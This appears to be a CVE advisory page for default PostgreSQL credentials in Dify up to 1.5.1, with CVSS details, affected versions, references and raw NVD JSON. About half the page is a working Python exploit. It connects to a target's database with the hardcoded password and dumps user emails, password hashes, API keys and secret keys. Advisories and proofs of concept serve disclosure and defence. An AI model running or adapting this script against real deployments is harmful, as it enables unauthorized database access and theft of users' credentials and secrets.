Security Vulnerability Report
中文
CVE-2025-56157 CVSS 9.8 CRITICAL

CVE-2025-56157

Published: 2025-12-18 19:16:27
Last Modified: 2026-01-29 18:16:08

Description

Default credentials in Dify thru 1.5.1. PostgreSQL username and password specified in the docker-compose.yaml file included in its source code. NOTE: the Supplier reports that the Docker configuration does not make PostgreSQL (on TCP port 5432) exposed by default in version 1.0.1 or later.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:langgenius:dify:*:*:*:*:*:node.js:*:* - VULNERABLE
Dify <= 1.5.1
Dify < 1.0.1 (older versions with exposed PostgreSQL by default)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56157 PoC - Dify PostgreSQL Default Credentials This PoC demonstrates the exploitation of hardcoded PostgreSQL credentials in Dify <= 1.5.1 Usage: python3 cve-2025-56157-poc.py <target_ip> Note: This is for authorized security testing only """ import psycopg2 import sys from argparse import ArgumentParser def exploit_default_credentials(target_host): """ Exploit hardcoded PostgreSQL credentials in Dify docker-compose.yaml Default credentials from the vulnerable configuration: - Username: postgres - Password: difyai123456 - Port: 5432 """ # Default credentials from Dify's docker-compose.yaml default_credentials = { 'user': 'postgres', 'password': 'difyai123456', 'host': target_host, 'port': '5432', 'database': 'dify' } print(f"[*] Attempting to connect to PostgreSQL at {target_host}:5432") print(f"[*] Using credentials - User: {default_credentials['user']}, Password: {default_credentials['password']}") try: # Connect to PostgreSQL database conn = psycopg2.connect( host=default_credentials['host'], port=default_credentials['port'], user=default_credentials['user'], password=default_credentials['password'], database=default_credentials['database'], connect_timeout=10 ) print("[+] SUCCESS: Connected to PostgreSQL database!") cursor = conn.cursor() # Enumerate database tables print("\n[*] Enumerating database tables...") cursor.execute(""" SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' """) tables = cursor.fetchall() print(f"[+] Found {len(tables)} tables:") for table in tables: print(f" - {table[0]}") # Extract sensitive data from users table print("\n[*] Extracting user information...") try: cursor.execute("SELECT id, email, name, password, created_at FROM users LIMIT 10") users = cursor.fetchall() print(f"[+] Found {len(users)} users:") for user in users: print(f" ID: {user[0]}, Email: {user[1]}, Name: {user[2]}, PasswordHash: {user[3]}, Created: {user[4]}") except Exception as e: print(f"[-] Could not retrieve users table: {e}") # Extract API keys print("\n[*] Extracting API keys...") try: cursor.execute("SELECT id, app_id, api_key, secret_key FROM api_keys LIMIT 10") api_keys = cursor.fetchall() print(f"[+] Found {len(api_keys)} API keys:") for key in api_keys: print(f" AppID: {key[1]}, APIKey: {key[2]}, SecretKey: {key[3]}") except Exception as e: print(f"[-] Could not retrieve api_keys table: {e}") cursor.close() conn.close() return True except psycopg2.OperationalError as e: print(f"[-] FAILED: Could not connect to database") print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = ArgumentParser(description='CVE-2025-56157 PoC - Dify Default Credentials') parser.add_argument('target', help='Target Dify server IP or hostname') args = parser.parse_args() print("=" * 60) print("CVE-2025-56157 PoC - Dify PostgreSQL Default Credentials") print("=" * 60) success = exploit_default_credentials(args.target) if success: print("\n[!] VULNERABLE: Default credentials are in use!") print("[!] Recommendation: Change PostgreSQL password immediately") else: print("\n[-] Target may not be vulnerable or is not accessible") sys.exit(0 if success else 1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56157", "sourceIdentifier": "[email protected]", "published": "2025-12-18T19:16:26.687", "lastModified": "2026-01-29T18:16:07.950", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Default credentials in Dify thru 1.5.1. PostgreSQL username and password specified in the docker-compose.yaml file included in its source code. NOTE: the Supplier reports that the Docker configuration does not make PostgreSQL (on TCP port 5432) exposed by default in version 1.0.1 or later."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langgenius:dify:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.5.1", "matchCriteriaId": "987B48B0-2D59-4C09-BCF1-E9CFB7E86911"}]}]}], "references": [{"url": "http://dify.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Cristliu/216ddbadaf3258498c93d408683ecabd", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://gist.github.com/Cristliu/298f51cbc72c45d91632cd0d65aa8161", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langgenius/dify/issues/15285", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/pull/15286", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/pull/15286.diff", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/releases/tag/1.0.1", "source": "[email protected]"}, {"url": "https://gist.github.com/Cristliu/216ddbadaf3258498c93d408683ecabd", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}